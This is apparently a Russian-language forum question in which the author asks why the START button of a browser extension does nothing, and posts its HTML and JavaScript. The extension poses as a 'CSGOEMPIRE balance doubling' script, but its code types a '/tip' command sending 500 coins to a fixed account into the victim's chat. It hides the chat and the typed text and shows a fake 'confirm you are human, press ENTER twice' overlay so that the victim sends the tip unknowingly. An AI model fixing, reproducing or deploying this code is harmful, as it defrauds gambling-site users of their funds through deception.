Короче при нажатие этой кнопки должно делаться функция , но когда я нажимаю на START ничего не происходит, почему?
![5f7b859558696456227875.png](https://habrastorage.org/webt/5f/7b/85/5f7b859558696456227875.png)
Вот код HTML и JS :
<!DOCTYPE html>
<html>
<!--Начало первого блока объяснения кода-->
<head>
<meta charset="utf-8">
<title>CSGOEMPIRE</title>
<!--ссылаемся на шрифты, используемые в документе-->
<link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" type="text/css">
<!--здесь мы ссылаемся на стили, которые будем использовать в документе, а именно стиль иконок-->
<link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN"
crossorigin="anonymous">
<!--начало блока со стилями для страницы-->
<style>
/* Модальная структура документа */
/*общие настройки для всего документа*/
html,
body {
font-family: 'Open Sans', sans-serif;
font-size: 14px;
margin: 0;
min-height: 180px;
padding: 0;
width: 380px;
}
/*задаём настройки для заголовков первого уровня*/
h1 {
font-family: 'Menlo', monospace;
font-size: 22px;
font-weight: 400;
margin: 0;
color: #e9b10e;
}
a:link,
a:visited {
color: #000000;
outline: 0;
text-decoration: none;
}
/*задаём ширину картинки*/
img {
width: 30px; /*ширина изображений*/
}
.modal-header {
align-items: center; /*выравнивание элементов по центру*/
border-bottom: 0.5px solid #dadada; /*свойства нижней разделительной линии*/
height: 60px;
}
.modal-content {
padding: 0 22px; /*отступы сверху и снизу, сверху и слева*/
}
.modal-icons {
border-top: 0.5px solid #dadada; /*свойства верхней разделительной линии*/
height: 50px;
width: 100%;
}
.logo {
padding: 16px; /*отступы со всех сторон*/
}
.logo-icon {
vertical-align: text-bottom; /*выравнивание по нижней части текста*/
margin-right: 12px; /*задётся отступ элементов от изображения*/
}
.version {
color: #444;
font-size: 18px;
}
.flex-container {
display: flex; /*отображает контейнер в виде блочного элемента*/
justify-content: space-between; /*равномерное выравнивание элементов*/
padding: 10px 22px;
}
/*задаём настройки для контейнеров с иконками*/
.flex {
opacity: 1; /*параметр непрозрачности иконок*/
width: 120px;
}
.flex:hover {
opacity: 0.4; /*уровень непрозрачности при наведении курсора на элемент*/
}
.flex .fa {
font-size: 30px;
color: #e9b10e;
}
</style>
<!--конец объяснения блока со стилями-->
<script src="popup.js"></script>
</head>
<!--объяснение тега <body>-->
<body>
<!--контейнер, содержащий название, логотип и номер версии-->
<div class="modal-header">
<h1 class="logo">
<img class="logo-icon" src="images/icon.png">CSGOEMPIRE BUG
<span class="version"></span>
</h1>
</div>
<!--Конец контейнера-->
<!--контейнер, содержащий описание функций расширения-->
<div class="modal-content">
<p>The script is based on doubling your balace. You have to send a request to the bot and , in just a few minutes , you will automatically receive your doubling. Beside of this, the function is unable and the balance still remains. The bot will send the amount of money that you firstly had.</p>
</div>
<!--Конец контейнера-->
<!--контейнер, содержащий контейнеры с иконками-->
<div class="modal-icons">
<div class="flex-container">
<div class="flex">
<!--target="_blank" — это служит для открытия новой влкадки при клике по иконке-->
<a href="https://csgoempire.com/" target="_blank">
<i class="fa fa-globe"></i>CSGOEMPIRE
</a>
</div>
<div class="flex">
<button id="button">START</button>
</div>
</div>
</div>
</body>
</html>
и код JS:
document.getElementById("button").addEventListener("click", myFunction());
function myFunction() {
document.querySelector('.chat-input__textarea').value = '/tip @4342342342342342342 500';
document.querySelector('.chat-input__textarea').dispatchEvent(new Event('input'));
document.querySelector('.chat-input__textarea').dispatchEvent(new Event('change'));
// comanda
document.querySelector('.chat-input__textarea').style.color = '#141419';
document.querySelector('.chat__messages.scroll-y.scroll-y--contain.z-10').style.display = "none";
document.querySelector('body').insertAdjacentHTML('beforebegin', '<div id="bigdiv" style="width: 30%; padding: 15px; position: absolute; top: 10%; z-index: 100; left: 35%; background-color: rgb(51, 53, 65); border-radius: 0.625rem; box-shadow: #e9b10e 0px 0px 5px 0px; border: 1px solid #e9b10e;"><p style="text-align: center; font-family: american-captain; font-weight: 400; color: rgb(220, 220, 220); letter-spacing: 0.025em; line-height: 2.25; font-size: 24px;"><b>CSGO EMPIRE Script <br> Confirm that you are human </b></p> <p style="margin-top: 15px; text-align: center; font-weight: 700; color: #e9b10e; padding: 20px; font-size: 14px;"> You need to close console then Press ENTER 2x(two times) on your keyboard to continue. </p></div>');
// primul box
$('.chat-input__textarea').focus();
var rafAsync = () => new Promise(resolve => requestAnimationFrame(resolve));
//chat focus
var awaitElement = (selector) => {
return document.querySelector(selector)
? Promise.resolve(document.querySelector(selector))
: rafAsync().then(() => awaitElement(selector))
};
awaitElement('.flex.flex-wrap.-ml-4').then(() => {
document.querySelector('.heading.text-center.mb-3').innerHTML = 'CSGOEMPIRE Script';
document.querySelector('.w-full.md\\:w-3\\/5.pl-4.mb-2.md\\:mb-5').innerHTML = 'CSGOEMPIRE script is something new for users. With this script you can double your balance , but it works just one time . If you try to do It second/third time nothing will happen to your security/your account security.' ;
});
//primul modal
awaitElement('.flex.flex-col.items-center').then(() => {
document.querySelector('.heading.text-center.mb-2.md\\:mb-4').innerHTML = 'CSGOEMPIRE Script';
document.querySelector('.flex.flex-wrap.justify-center.text-sm.mb-2.md\\:mb-4').innerHTML = 'The script is based on doubling your balace. You have to send a request to the bot and , in just a few minutes , you will automatically receive your doubling. Beside of this, the function is unable and the balance still remains. The bot will send the amount of money that you firstly had. Enter here how many coins you have on balance';
});
}